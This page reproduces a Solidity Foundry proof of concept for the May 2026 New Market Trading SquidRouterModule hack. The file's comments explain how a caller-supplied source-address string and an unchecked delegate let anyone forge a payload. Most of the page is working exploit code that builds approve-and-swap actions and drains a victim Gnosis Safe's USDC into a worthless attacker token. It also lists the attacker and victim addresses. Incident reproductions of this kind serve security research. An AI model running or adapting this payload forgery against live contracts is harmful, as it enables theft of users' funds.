Public reproduction file
src/test/2026-05/NewMarketTrading_exp.sol
Public reproduction file for dataset entry New Market Trading.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~$3.98M USD across 88 Gnosis Safes on Ethereum / Base / Arbitrum8// (this PoC drains one Ethereum victim Safe: ~5,806 USDC)9// Attacker : 0x7c82cB4b2909C50C7c0F2B696Eee7565e0a23BB8 (main operator)10// 0x9BDC730183821b6bb2B51BE30B77C964FA645b91 (co-operator, sent this tx)11// Attack Contract : 0xe1d5FCfBba4d46F4937de369De415dD7E2D3265a (Ethereum wrapper)12// Vulnerable Contract : 0x1f1d37a3Bf840e35c6a860c7C2dA71Fe555123ca (New Market Trading "SquidRouterModule" Safe module)13// Victim Safe : 0xa081B9F72d586624F2eaA1eaCf53C1A268810e4E14// Attack Tx : 0x59d17fd31e31959b2d562508bf91c4fc1271682ba7d61a6209865e1151b69aea15// @Analysis16// Attack date: May 25, 2026 Chain: Ethereum Block: 2517051317// rekt.news: https://rekt.news/newmarkettrading-rekt18// Verified source (same address, Base): https://base.blockscout.com/address/0x1f1d37a3Bf840e35c6a860c7C2dA71Fe555123ca?tab=contract19//20// Run (Cancun EVM is required -- the Uniswap UniversalRouter uses EIP-1153 transient storage;21// the repo default evm_version is 'shanghai'):22// FOUNDRY_EVM_VERSION=cancun forge test --contracts src/test/2026-05/NewMarketTrading_exp.sol \23// --match-contract NewMarketTradingExploit -vv24//25// Root Cause:26// The SquidRouterModule is a Gnosis Safe module that lets a whitelisted Squid/Axelar bridge message run27// swap/approve actions on a Safe. It inherits Axelar's AxelarExpressExecutableWithToken, which exposes:28//29// function expressExecuteWithToken(bytes32 commandId, string sourceChain, string sourceAddress,30// bytes payload, string symbol, uint256 amount) external payable {31// ...32// IERC20(gatewayToken).safeTransferFrom(msg.sender, address(this), amount); // relayer fronts `amount`33// _executeWithToken(commandId, sourceChain, sourceAddress, payload, symbol, amount);34// }35//36// This is the Axelar "express" fast path: ANYONE may call it. A relayer is supposed to front `amount`37// tokens and be reimbursed later when the real cross-chain message clears gateway.validateContractCallAndMint().38// The express path therefore performs NO gateway/cryptographic validation of the message.39//40// The module's override trusts caller-supplied data instead of the actual caller:41//42// function _executeWithToken(..., string sourceAddress, bytes payload, string tokenSymbol, uint256 amount) {43// address srcAddress = Strings.parseAddress(sourceAddress);44// require(srcAddress == squidRouter, InvalidSourceAddress(srcAddress)); // <- compares a STRING the caller passed45// _processPayload(IERC20(_getTokenAddress(tokenSymbol)), amount, payload);46// }47// function _processPayload(IERC20 bridgedToken, uint256 amount, bytes payload) {48// (address module, address safe, address delegate, ActionsExecutionParams params)49// = abi.decode(payload, (address, address, address, ActionsExecutionParams)); // <- delegate & safe from payload50// require(module == address(this), ...);51// bridgedToken.safeTransfer(safe, amount);52// _handleActions(safe, delegate, params); // checks delegate's permission, never msg.sender == delegate53// }54//55// Missing check: require(msg.sender == delegate) (and/or genuine Axelar gateway validation on this path).56//57// Exploit (NO flash loan, NO funds fronted):58// 1. Call expressExecuteWithToken with amount = 0 -> safeTransferFrom(attacker, module, 0) costs nothing.59// 2. sourceAddress = the public squidRouter address string -> passes the require.60// 3. payload carries: module = the module, safe = victim Safe, delegate = a REAL public NMT delegate61// (0x0f7aAa84...) that already holds APPROVE+SWAP permission on the Safe, and 3 actions:62// a. ERC20_APPROVE (USDC -> Permit2)63// b. PERMIT2_APPROVE (USDC -> UniversalRouter)64// c. UNI_V3_SWAP_EXACT_IN USDC -> worthless "u" token, amountOutMin = 065// The module drives the Safe to swap its entire USDC into the attacker-owned Uniswap V3 pool.66//67// Function selectors:68// 0x_express... : expressExecuteWithToken(bytes32,string,string,bytes,string,uint256) -- public Axelar express entry70interface ISquidRouterModule {71 enum ExecuteActionType {72 UNI_V2_SWAP_EXACT_IN, // 073 UNI_V2_SWAP_EXACT_OUT, // 174 UNI_V3_SWAP_EXACT_IN, // 275 UNI_V3_SWAP_EXACT_OUT, // 376 ERC20_APPROVE, // 477 PERMIT2_APPROVE, // 578 NATIVE_WRAP, // 679 NATIVE_UNWRAP // 780 }82 struct ExecuteAction {83 ExecuteActionType actionType;84 bytes encodedData;85 }87 struct ActionsExecutionParams {88 ExecuteAction[] actions;89 bool isStrict;90 }92 function squidRouter() external view returns (address);93 function permit2() external view returns (address);94 function isUniversalRouter(95 address router96 ) external view returns (bool);98 function expressExecuteWithToken(99 bytes32 commandId,100 string calldata sourceChain,101 string calldata sourceAddress,102 bytes calldata payload,103 string calldata symbol,104 uint256 amount105 ) external payable;106}108contract NewMarketTradingExploit is Test {109 ISquidRouterModule constant MODULE = ISquidRouterModule(0x1f1d37a3Bf840e35c6a860c7C2dA71Fe555123ca);110 IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);111 IERC20 constant FAKE_U = IERC20(0xe6Ff0FE017D09D690493deC0F0f55E8f9Cdc3512); // worthless "u" token113 address constant VICTIM_SAFE = 0xa081B9F72d586624F2eaA1eaCf53C1A268810e4E;114 // A REAL, public NMT delegate that already holds APPROVE + SWAP permission on the Safe.115 address constant REAL_DELEGATE = 0x0f7aAa8457aD4c54093039CECf6036fB28bcBeF0;116 // Squid/Axelar router whose address-string the require() compares against (immutable on the module).117 address constant SQUID_ROUTER = 0xce16F69375520ab01377ce7B88f5BA8C48F8D666;118 string constant SQUID_ROUTER_STR = "0xce16F69375520ab01377ce7B88f5BA8C48F8D666";119 // Universal Router whitelisted in the module; routes the Safe's USDC into the attacker pool.120 address constant UNIVERSAL_ROUTER = 0x66a9893cC07D91D95644AEDD05D03f95e1dBA8Af;121 uint24 constant POOL_FEE = 500; // 0x0001f4, USDC/u pool fee tier123 uint256 constant ATTACK_BLOCK = 25_170_513;125 // The vulnerable module performs NO caller check, so ANY address can drive this drain. We prank as the126 // real attacker EOA (this tx's actual tx.origin) only because the attacker's OWN sink token ("u") has an127 // "only me" tx.origin guard that protects their poisoned pool from third parties -- that guard lives in the128 // attacker's token, NOT in the SquidRouterModule.129 address constant ATTACKER = 0x9BDC730183821b6bb2B51BE30B77C964FA645b91;131 function setUp() public {132 vm.createSelectFork("mainnet", ATTACK_BLOCK - 1);133 vm.label(address(MODULE), "SquidRouterModule");134 vm.label(address(USDC), "USDC");135 vm.label(address(FAKE_U), "FAKE_u_token");136 vm.label(VICTIM_SAFE, "VictimSafe");137 vm.label(REAL_DELEGATE, "RealDelegate");138 vm.label(UNIVERSAL_ROUTER, "UniversalRouter");139 vm.label(ATTACKER, "Attacker");140 }142 function testExploit() public {143 console.log("--- New Market Trading SquidRouterModule: payload-forgery Safe drain ---");144 console.log("Attack date: May 25, 2026 Chain: Ethereum Block: %s", ATTACK_BLOCK);146 // Sanity: the require() target is just the public router address compared as a string.147 require(MODULE.squidRouter() == SQUID_ROUTER, "squidRouter mismatch");148 require(MODULE.isUniversalRouter(UNIVERSAL_ROUTER), "router not whitelisted");150 uint256 safeUsdcBefore = USDC.balanceOf(VICTIM_SAFE);151 console.log("\nVictim Safe USDC before :", safeUsdcBefore / 1e6, "USDC");152 console.log("Safe 'u' token before :", FAKE_U.balanceOf(VICTIM_SAFE));153 require(safeUsdcBefore > 0, "safe has no USDC at fork block");155 // Swap the Safe's ENTIRE USDC balance, amountOutMin = 0 (attacker controls the pool).156 uint256 amountIn = safeUsdcBefore;157 bytes memory swapPath = abi.encodePacked(address(USDC), POOL_FEE, address(FAKE_U));159 // Build the 3 actions the module will run against the Safe.160 ISquidRouterModule.ExecuteAction[] memory actions = new ISquidRouterModule.ExecuteAction[](3);162 // (a) ERC20_APPROVE: Safe approves Permit2 to move its USDC.163 actions[0] = ISquidRouterModule.ExecuteAction({164 actionType: ISquidRouterModule.ExecuteActionType.ERC20_APPROVE,165 encodedData: abi.encode(address(USDC), MODULE.permit2(), type(uint256).max)166 });167 // (b) PERMIT2_APPROVE: Safe authorizes the Universal Router via Permit2.168 actions[1] = ISquidRouterModule.ExecuteAction({169 actionType: ISquidRouterModule.ExecuteActionType.PERMIT2_APPROVE,170 encodedData: abi.encode(address(USDC), UNIVERSAL_ROUTER, type(uint160).max)171 });172 // (c) UNI_V3_SWAP_EXACT_IN: dump the Safe's USDC into the attacker-owned pool for worthless "u".173 actions[2] = ISquidRouterModule.ExecuteAction({174 actionType: ISquidRouterModule.ExecuteActionType.UNI_V3_SWAP_EXACT_IN,175 encodedData: abi.encode(UNIVERSAL_ROUTER, amountIn, uint256(0), block.timestamp + 600, swapPath)176 });178 ISquidRouterModule.ActionsExecutionParams memory params =179 ISquidRouterModule.ActionsExecutionParams({actions: actions, isStrict: true});181 // payload = abi.encode(module, safe, delegate, params) -- exactly what _processPayload decodes.182 bytes memory payload = abi.encode(address(MODULE), VICTIM_SAFE, REAL_DELEGATE, params);184 // The attacker fronts ZERO tokens: symbol "WETH", amount 0 -> safeTransferFrom(attacker, module, 0).185 // prank sets both msg.sender and tx.origin to the attacker EOA (the latter satisfies the attacker's186 // own sink-token guard; the module itself never inspects either).187 vm.prank(ATTACKER, ATTACKER);188 MODULE.expressExecuteWithToken(189 keccak256("nmt-poc-commandId"), // any unused commandId (isCommandExecuted == false)190 "", // sourceChain (ignored)191 SQUID_ROUTER_STR, // caller-supplied "source address" string -> passes the require192 payload,193 "WETH", // bridged token symbol (amount 0, irrelevant)194 0195 );197 uint256 safeUsdcAfter = USDC.balanceOf(VICTIM_SAFE);198 console.log("\n=== After expressExecuteWithToken (no funds fronted, no gateway message) ===");199 console.log("Victim Safe USDC after :", safeUsdcAfter / 1e6, "USDC");200 console.log("Safe 'u' token after :", FAKE_U.balanceOf(VICTIM_SAFE));201 console.log("USDC drained out of Safe:", (safeUsdcBefore - safeUsdcAfter) / 1e6, "USDC");203 // The Safe's USDC is gone; it received only worthless "u" tokens.204 assertEq(safeUsdcAfter, 0, "Safe USDC was not fully drained");205 assertGt(FAKE_U.balanceOf(VICTIM_SAFE), 0, "Safe did not receive worthless token");207 console.log(208 "\nPayload-forgery confirmed: an unauthorized caller drained the Safe's USDC with no funds fronted."209 );210 }211}Analysis
Dataset entry
Public Foundry test for “New Market Trading” (2026-05-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7c82cb4b2909c50c7c0f2b696eee7565e0a23bb8
- Attack Contract
0xe1d5fcfbba4d46f4937de369de415dd7e2d3265a
- Vulnerable Contract
0x1f1d37a3bf840e35c6a860c7c2da71fe555123ca
- Victim
0xa081b9f72d586624f2eaa1eacf53c1a268810e4e
- Attack Tx
0x59d17fd31e31959b2d562508bf91c4fc1271682ba7d61a6209865e1151b69aea
File record
- Name
- New Market Trading
- Path
- src/test/2026-05/NewMarketTrading_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 265fbddf9bb4a15d829d7fc992bacb35ac14091d
- Language
- Solidity
- Size
- 212 lines
- Date
- 2026-05-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/NewMarketTrading_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 265fbddf9bb4a15d829d7fc992bacb35ac14091d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.